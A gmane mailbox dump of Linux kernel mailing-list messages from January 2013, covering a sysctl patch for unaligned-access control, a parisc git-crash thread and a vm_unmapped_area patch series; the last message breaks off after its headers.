In-Reply-To: <50D2B75A.3000208@synopsys.com>
X-Originating-IP: [10.12.197.205]
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:16237 gmane.linux.kernel:1416171 gmane.linux.ports.parisc:4702
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/16237>

Hi,

This came out ARC Port's review by Arnd where he suggested using the existing
sysctl knobs in parisc and/or ia64 for runtime controlling unaligned access
emulation.

Turns out that ARC port needs bit of both.

The common sysctl knobs are now #ifdef based on init/Kconfig options which
the corresponding arches now select in their Kconfigs.
No other arch code is touched (although code has not been compile tested).

If this patch is ACKable, I would request you to please take this patch
via your arch tree - to avoid any merge-hassles and other interdependencies
later.

P.S. I've deliberately NOT added the new items at the end of arch/*/Kconfig,
to avoid any merge conflicts going further - anyhow both the ia64/parisc
Kconfigs are not sorted either.

Thx,
-Vineet


Vineet Gupta (1):
  sysctl: Enable PARISC "unaligned-trap" to be used cross-arch

 arch/parisc/Kconfig |    1 +
 init/Kconfig        |    8 ++++++++
 kernel/sysctl.c     |    7 ++++++-
 3 files changed, 15 insertions(+), 1 deletions(-)

-- 
1.7.4.1


From - Thu Nov 08 21:08:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [RESEND PATCH] sysctl: Enable PARISC "unaligned-trap" to be used cross-arch
Date: Thu, 3 Jan 2013 12:29:48 +0530
Lines: 82
Approved: news@gmane.org
Message-ID: <1357196388-1247-2-git-send-email-vgupta@synopsys.com>
References: <50D2B75A.3000208@synopsys.com>
 <1357196388-1247-1-git-send-email-vgupta@synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1357196465 29961 80.91.229.3 (3 Jan 2013 07:01:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Jan 2013 07:01:05 +0000 (UTC)
Cc: <linux-kernel@vger.kernel.org>, <linux-parisc@vger.kernel.org>,
	<linux-arch@vger.kernel.org>, <arnd@arndb.de>,
	Vineet Gupta <Vineet.Gupta1@synopsys.com>,
	"Eric W. Biederman" <ebiederm@xmission.com>,
	"Serge Hallyn" <serge.hallyn@canonical.com>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Jan 03 08:01:20 2013
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Tqenj-0007JU-Nr
	for glka-linux-arch@plane.gmane.org; Thu, 03 Jan 2013 08:01:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751559Ab3ACHA7 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 3 Jan 2013 02:00:59 -0500
Original-Received: from alvesta.synopsys.com ([198.182.60.77]:44903 "EHLO
	alvesta.synopsys.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751365Ab3ACHA6 (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 3 Jan 2013 02:00:58 -0500
Original-Received: from mailhost.synopsys.com (unknown [10.9.202.240])
	by alvesta.synopsys.com (Postfix) with ESMTP id 7E20A2D7615;
	Wed,  2 Jan 2013 23:00:43 -0800 (PST)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
	by mailhost.synopsys.com (Postfix) with ESMTP id 891E298E;
	Wed,  2 Jan 2013 23:00:33 -0800 (PST)
Original-Received: from US01WEHTC3.internal.synopsys.com (us01wehtc3.internal.synopsys.com [10.15.84.232])
	by mailhost.synopsys.com (Postfix) with ESMTP id 7846398D;
	Wed,  2 Jan 2013 23:00:33 -0800 (PST)
Original-Received: from IN01WEHTC2.internal.synopsys.com (10.144.199.212) by
 US01WEHTC3.internal.synopsys.com (10.15.84.232) with Microsoft SMTP Server
 (TLS) id 14.2.298.4; Wed, 2 Jan 2013 23:00:19 -0800
Original-Received: from localhost.localdomain (10.12.197.205) by
 in01wehtc2.internal.synopsys.com (10.144.199.243) with Microsoft SMTP Server
 (TLS) id 14.2.298.4; Thu, 3 Jan 2013 12:30:14 +0530
X-Mailer: git-send-email 1.7.4.1
In-Reply-To: <1357196388-1247-1-git-send-email-vgupta@synopsys.com>
X-Originating-IP: [10.12.197.205]
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:16238 gmane.linux.kernel:1416172 gmane.linux.ports.parisc:4703
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/16238>

PARISC defines /proc/sys/kernel/unaligned-trap to runtime toggle
unaligned access emulation.

The exact mechanics of enablig/disabling are still arch specific, we can
make the sysctl usable by other arches.

Signed-off-by: Vineet Gupta <vgupta@synopsys.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: "Eric W. Biederman" <ebiederm@xmission.com>
Cc: Serge Hallyn <serge.hallyn@canonical.com>
---
 arch/parisc/Kconfig |    1 +
 init/Kconfig        |    8 ++++++++
 kernel/sysctl.c     |    7 ++++++-
 3 files changed, 15 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index b77feff..8c76095 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -20,6 +20,7 @@ config PARISC
 	select ARCH_HAVE_NMI_SAFE_CMPXCHG
 	select GENERIC_SMP_IDLE_THREAD
 	select GENERIC_STRNCPY_FROM_USER
+	select SYSCTL_ARCH_UNALIGN_ALLOW
 	select HAVE_MOD_ARCH_SPECIFIC
 	select MODULES_USE_ELF_RELA
 	select CLONE_BACKWARDS
diff --git a/init/Kconfig b/init/Kconfig
index e188f9f..e64bb18 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -1240,6 +1240,14 @@ config SYSCTL_ARCH_UNALIGN_NO_WARN
 	  unaligned access emulation going on under the hood.
 	  see arch/ia64/kernel/unaligned.c for reference
 
+config SYSCTL_ARCH_UNALIGN_ALLOW
+	bool
+	help
+	  Enable support for /proc/sys/kernel/unaligned-trap
+	  Allows arches to define/use @unaligned_enabled to runtime toggle
+	  the unaligned access emulation.
+	  see arch/parisc/kernel/unaligned.c for reference
+
 config KALLSYMS
 	 bool "Load all symbols for debugging/ksymoops" if EXPERT
 	 default y
diff --git a/kernel/sysctl.c b/kernel/sysctl.c
index 840fd5e..c4cd655 100644
--- a/kernel/sysctl.c
+++ b/kernel/sysctl.c
@@ -157,13 +157,16 @@ extern int sysctl_tsb_ratio;
 
 #ifdef __hppa__
 extern int pwrsw_enabled;
-extern int unaligned_enabled;
 #endif
 
 #ifdef CONFIG_IA64
 extern int unaligned_dump_stack;
 #endif
 
+#ifdef CONFIG_SYSCTL_ARCH_UNALIGN_ALLOW
+extern int unaligned_enabled;
+#endif
+
 #ifdef CONFIG_SYSCTL_ARCH_UNALIGN_NO_WARN
 extern int no_unaligned_warning;
 #endif
@@ -548,6 +551,8 @@ static struct ctl_table kern_table[] = {
 	 	.mode		= 0644,
 		.proc_handler	= proc_dointvec,
 	},
+#endif
+#ifdef CONFIG_SYSCTL_ARCH_UNALIGN_ALLOW
 	{
 		.procname	= "unaligned-trap",
 		.data		= &unaligned_enabled,
-- 
1.7.4.1


From - Thu Nov 08 21:08:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Random crashes when calling git
Date: Tue, 08 Jan 2013 15:30:39 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <c1bad8b168dc885f7fe9aafa5712ece5@sf-mail.de>
References: <4882058.deuBGYmI4J@donald.sf-tec.de>
 <BLU0-SMTP552A5EEA5FEF5F4C363ADC97380@phx.gbl>
 <3563905.2dklDXemHT@donald.sf-tec.de>
 <BLU0-SMTP22C3BF8F11ED2FBDDA8BE6973C0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1357655447 13326 80.91.229.3 (8 Jan 2013 14:30:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Jan 2013 14:30:47 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 08 15:31:04 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TsaCh-0001pi-Og
	for glpp-linux-parisc@plane.gmane.org; Tue, 08 Jan 2013 15:31:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756470Ab3AHOan (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Jan 2013 09:30:43 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:44090 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756424Ab3AHOan (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Jan 2013 09:30:43 -0500
Original-Received: (qmail 31374 invoked from network); 8 Jan 2013 14:30:39 -0000
Original-Received: from mail.sf-mail.de ([::ffff:62.27.20.61]:54163 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Tue, 08 Jan 2013 15:30:39 +0100
In-Reply-To: <BLU0-SMTP22C3BF8F11ED2FBDDA8BE6973C0@phx.gbl>
X-Sender: eike-kernel@sf-tec.de
User-Agent: Roundcube Webmail/0.8.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4704
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4704>

John David Anglin wrote:
> On 31-Dec-12, at 6:03 AM, Rolf Eike Beer wrote:
>
>> I've put together the used git executable as well as 4 core dumps at
>> http://opensource.sf-tec.de/git-crash.tar.bz2
>>
>> It would be nice if you could take a look and tell me if this gives  
>> you
>> anything.

> I think this is the infamous thread stack corruption bug.  There are
> numerous discussions about it on the list.
>
> It's just a guess but I believe my kernel patch may help.  Attaching  
> latest
> version for 3.7.1.
>
> If the patch doesn't help, then I think we need to review the glibc
> patch sets for debian and gentoo.  I have installed an unmodified
> version of 2.13-37.

I have now applied this patch and while at it added another 1GB of RAM, 
but I don't think the latter will make any difference.

I was now able to run the CMake git test for more than a dozen times in 
a row without a single failure and also the git testsuite is now in the 
range of the 6000 with it's tests, which is far beyond anything it was 
able to reach until now. So I think that your patch indeed makes things 
better.

Time to split it up and submit it upstream ;)

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Random crashes when calling git
Date: Tue, 08 Jan 2013 09:54:06 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <50EC330E.7040603@bell.net>
References: <4882058.deuBGYmI4J@donald.sf-tec.de> <BLU0-SMTP552A5EEA5FEF5F4C363ADC97380@phx.gbl> <3563905.2dklDXemHT@donald.sf-tec.de> <BLU0-SMTP22C3BF8F11ED2FBDDA8BE6973C0@phx.gbl> <c1bad8b168dc885f7fe9aafa5712ece5@sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1357658083 8248 80.91.229.3 (8 Jan 2013 15:14:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 8 Jan 2013 15:14:43 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 08 16:15:00 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TsatG-0006UO-Ga
	for glpp-linux-parisc@plane.gmane.org; Tue, 08 Jan 2013 16:14:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756562Ab3AHPOm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 8 Jan 2013 10:14:42 -0500
Original-Received: from mail16.primus.ca ([216.254.141.183]:56369 "EHLO
	mail-09.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1756328Ab3AHPOm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 8 Jan 2013 10:14:42 -0500
X-Greylist: delayed 1309 seconds by postgrey-1.27 at vger.kernel.org; Tue, 08 Jan 2013 10:14:42 EST
Original-Received: from 209-197-137-42.cpe.distributel.net ([209.197.137.42] helo=[192.168.0.181])
	by mail-09.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1TsaXs-0007MK-0p; Tue, 08 Jan 2013 09:52:52 -0500
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/17.0 Thunderbird/17.0
In-Reply-To: <c1bad8b168dc885f7fe9aafa5712ece5@sf-mail.de>
X-Authenticated: danglin-lux@magma.ca - 209-197-137-42.cpe.distributel.net ([192.168.0.181]) [209.197.137.42]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4705
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4705>

On 1/8/2013 9:30 AM, Rolf Eike Beer wrote:
> I was now able to run the CMake git test for more than a dozen times 
> in a row without a single failure and also the git testsuite is now in 
> the range of the 6000 with it's tests, which is far beyond anything it 
> was able to reach until now. So I think that your patch indeed makes 
> things better.
I have have built git several times and run the full testsuite successfully.
>
> Time to split it up and submit it upstream ;)
>
Helge has recently setup a new parisc-linux git tree on kernel.org and 
is going to help with
pushing patches upstream.  So, there is hope :-)

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha
Subject: [PATCH 0/8] vm_unmapped_area: finish the mission
Date: Tue,  8 Jan 2013 17:28:07 -0800
Lines: 65
Approved: news@gmane.org
Message-ID: <1357694895-520-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1357694912 30326 80.91.229.3 (9 Jan 2013 01:28:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 01:28:32 +0000 (UTC)
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Rik van Riel <riel@redhat.com>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Jan 09 02:28:47 2013
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1TskTF-0003ZH-Rw
	for glpi-linux-ia64-2@plane.gmane.org; Wed, 09 Jan 2013 02:28:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756225Ab3AIB23 (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 8 Jan 2013 20:28:29 -0500
Original-Received: from mail-da0-f50.google.com ([209.85.210.50]:33339 "EHLO
	mail-da0-f50.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756044Ab3AIB22 (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Tue, 8 Jan 2013 20:28:28 -0500
Original-Received: by mail-da0-f50.google.com with SMTP id h15so467792dan.9
        for <linux-ia64@vger.kernel.org>; Tue, 08 Jan 2013 17:28:27 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer;
        bh=HnEH38C4nm2uDd7l1XXv9RMWewuhRVj7d+PhsZLWs68=;
        b=pBvqFXc+WLMTfCAQl8hOAw0oMgVKQTxAVmDS6G1b0JRj6VHUw7odynU2SpD51MP/+g
         loFE82xZHQhruUQn/meMBRF1MTl6A/bsW5rQ00SoqC3BsJ/XJCbCFOHLLJhvc8Jkvip9
         ZdsJPKA+wZ8QVbXs8N1AbZEzqCx8tIZ57E3mPXdF0T5OJJ/OTmcw8EByg789cIT1e27w
         CAa9eB66CmzkP7b7FQ6L/kar9+xNhEvq3Z7+TeaSmxd+WMOmee6skrqQC2SCt324UB6P
         eCZVy0hir6XHGSN5rEGktlX/Gnk+IiuDrWngjC3QWuKG5Sjc3E80l82BANRSgLG9E5bZ
         VCAw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer
         :x-gm-message-state;
        bh=HnEH38C4nm2uDd7l1XXv9RMWewuhRVj7d+PhsZLWs68=;
        b=SXVRf6axMnHerh02R1kmDKBbC6snYu+DsjPutD+Y0DxjdcPrkRb8kha0VParYqx6Et
         /t5PwbCVKZKyFZpBqpZ0xJBtLfkFUd9uXAU0Fx23A7LpSd3mtwdTvmxl2NCFBqSgx7AE
         Sw9amJBEFlkpzGPVCZmsmKZq80NluxdW8cFs+jMhKTM+/tdmYvnXtRdfM4Qi8XRwNW23
         E/CrDne6cwLTJoirnsQVkKezYxGZGSxbaBxQdGcKUBcMfrVChZZAYLnDFPC5+dRtxoF8
         yWUH1Gn2f0eQui5ANENUNFHjulYyQMXdExmIj/enaIuzi7XeqP+IRsaAVghCahTGcsnw
         RAlw==
X-Received: by 10.68.125.195 with SMTP id ms3mr203319028pbb.149.1357694907744;
        Tue, 08 Jan 2013 17:28:27 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id p10sm41711168pax.27.2013.01.08.17.28.25
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 08 Jan 2013 17:28:26 -0800 (PST)
X-Mailer: git-send-email 1.7.7.3
X-Gm-Message-State: ALoCoQnS8x+BhcaH53KvH0PxnijLFUESSptj1pfeZaH5wyyrLhbsfhNv35lQFG/k6zi1elnphaVbtyI4PtzG13CnlUe7iZA5wjrihnUZkRFRNObDNC6u4u8mbv82MQ8AsCY52bSuE+Oj721KlqLC39gxdoehbi9M807oAN7JSa5H2Ttn/bhS0xKOY8tC+krpaJzzvCpY2iePO4VciaNTd+YWIXNXmn652w==
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:22855 gmane.linux.kernel.mm:93011 gmane.linux.kernel:1418765 gmane.linux.ports.ppc64.devel:86879 gmane.linux.ports.parisc:4706 gmane.linux.ports.alpha:1979
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/22855>

These patches, which apply on top of v3.8-rc kernels, are to complete the
VMA gap finding code I introduced (following Rik's initial proposal) in
v3.8-rc1.

First 5 patches introduce the use of vm_unmapped_area() to replace brute
force searches on parisc, alpha, frv and ia64 architectures (all relatively
trivial uses of the vm_unmapped_area() infrastructure)

Next 2 patches do the same as above for the powerpc architecture. This
change is not as trivial as for the other architectures, because we
need to account for each address space slice potentially having a
different page size.

The last patch removes the free_area_cache, which was used by all the
brute force searches before they got converted to the
vm_unmapped_area() infrastructure.

I did some basic testing on x86 and powerpc; however the first 5 (simpler)
patches for parisc, alpha, frv and ia64 architectures are untested.

Michel Lespinasse (8):
  mm: use vm_unmapped_area() on parisc architecture
  mm: use vm_unmapped_area() on alpha architecture
  mm: use vm_unmapped_area() on frv architecture
  mm: use vm_unmapped_area() on ia64 architecture
  mm: use vm_unmapped_area() in hugetlbfs on ia64 architecture
  mm: remove free_area_cache use in powerpc architecture
  mm: use vm_unmapped_area() on powerpc architecture
  mm: remove free_area_cache

 arch/alpha/kernel/osf_sys.c              |   20 ++--
 arch/arm/mm/mmap.c                       |    2 -
 arch/arm64/mm/mmap.c                     |    2 -
 arch/frv/mm/elf-fdpic.c                  |   49 +++----
 arch/ia64/kernel/sys_ia64.c              |   37 ++----
 arch/ia64/mm/hugetlbpage.c               |   20 ++--
 arch/mips/mm/mmap.c                      |    2 -
 arch/parisc/kernel/sys_parisc.c          |   46 +++----
 arch/powerpc/include/asm/page_64.h       |    3 +-
 arch/powerpc/mm/hugetlbpage.c            |    2 +-
 arch/powerpc/mm/mmap_64.c                |    2 -
 arch/powerpc/mm/slice.c                  |  228 +++++++++++++-----------------
 arch/powerpc/platforms/cell/spufs/file.c |    2 +-
 arch/s390/mm/mmap.c                      |    4 -
 arch/sparc/kernel/sys_sparc_64.c         |    2 -
 arch/tile/mm/mmap.c                      |    2 -
 arch/x86/ia32/ia32_aout.c                |    2 -
 arch/x86/mm/mmap.c                       |    2 -
 fs/binfmt_aout.c                         |    2 -
 fs/binfmt_elf.c                          |    2 -
 include/linux/mm_types.h                 |    3 -
 include/linux/sched.h                    |    2 -
 kernel/fork.c                            |    4 -
 mm/mmap.c                                |   28 ----
 mm/nommu.c                               |    4 -
 mm/util.c                                |    1 -
 26 files changed, 163 insertions(+), 310 deletions(-)

-- 
1.7.7.3
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha
Subject: [PATCH 1/8] mm: use vm_unmapped_area() on parisc architecture
Date: Tue,  8 Jan 2013 17:28:08 -0800
Lines: 87
Approved: news@gmane.org
Message-ID: <1357694895-520-2-git-send-email-walken@google.com>
References: <1357694895-520-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1357694921 30401 80.91.229.3 (9 Jan 2013 01:28:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 01:28:41 +0000 (UTC)
Cc: linux-mm@kvack.org, linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Rik van Riel <riel@redhat.com>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Jan 09 02:28:56 2013
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1TskTI-0003ZH-RN
	for glpi-linux-ia64-2@plane.gmane.org; Wed, 09 Jan 2013 02:28:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756309Ab3AIB2b (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 8 Jan 2013 20:28:31 -0500
Original-Received: from mail-pa0-f50.google.com ([209.85.220.50]:44327 "EHLO
	mail-pa0-f50.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756178Ab3AIB23 (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Tue, 8 Jan 2013 20:28:29 -0500
Original-Received: by mail-pa0-f50.google.com with SMTP id hz10so682563pad.23
        for <linux-ia64@vger.kernel.org>; Tue, 08 Jan 2013 17:28:29 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=hJMXIlRXm4UDRvUmdOePVuFKoXSG6cPBUXOaAtDTo7E=;
        b=p1LX+BoSOKAcaZJSeMXN3Gnbph/8jOiG1DOzMWZKGZcFfhVusng82xzgcN0ujR9P7H
         AL3p99ppjwQNkCNLz8bqPRJsRlnONkJ53K5tFmCkEGiXdZ4Lf6Ifut4U89uL1ogsgOzX
         Ox37GGOiNNp7Q1Miv2amskJFYRtsSHJokZxZ6y8YTBZSQf2G9VWBqWwDLFRI+xFDw9PQ
         rkHvyHnptUqCjTXbAjf3mPhtdpi0buwcmnjwc4mTDMTzylxLio3w91tnPKZiUbuQV4y+
         cyOfTEb9giOO/8gnpQafIpcSrnA4w+RdcuiRfdYg+tNjcyhOVQ2lYg5ioOoWd/76kXnl
         UlyQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references:x-gm-message-state;
        bh=hJMXIlRXm4UDRvUmdOePVuFKoXSG6cPBUXOaAtDTo7E=;
        b=UlgtjYoTM2XEWXWpAAt+ymUZTats/BQI7aR3RBTBcfbXbE50Qrqme4195TVZOFc6vh
         QYt3aUpFQ+PLLYjHGTDpmB01/ETEbJqfwz69wEW94L15Q5wj8p/9GumRmHaxgRNFxPoo
         tomrHfZ7QyPxw/4fa3zXjszLuZHgnvA4hykeCmaWund/Bh72DnxJbBVAvKDTcxDaG/Pp
         //0ttzFTvdBeyIGu9MwPyrIZPC8a9z1V34k1hv/ylHHDsG/pHfMfscgOj2Xvl29+0MWA
         E+EkuDHi1xZzoppZOOf3afATk3BVQdZKS71DJb0LadwLCBmZJpy+srDSXip8KUZCCPZF
         S7/g==
X-Received: by 10.68.238.106 with SMTP id vj10mr207918820pbc.40.1357694909370;
        Tue, 08 Jan 2013 17:28:29 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id p10sm41711168pax.27.2013.01.08.17.28.27
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 08 Jan 2013 17:28:28 -0800 (PST)
X-Mailer: git-send-email 1.7.7.3
In-Reply-To: <1357694895-520-1-git-send-email-walken@google.com>
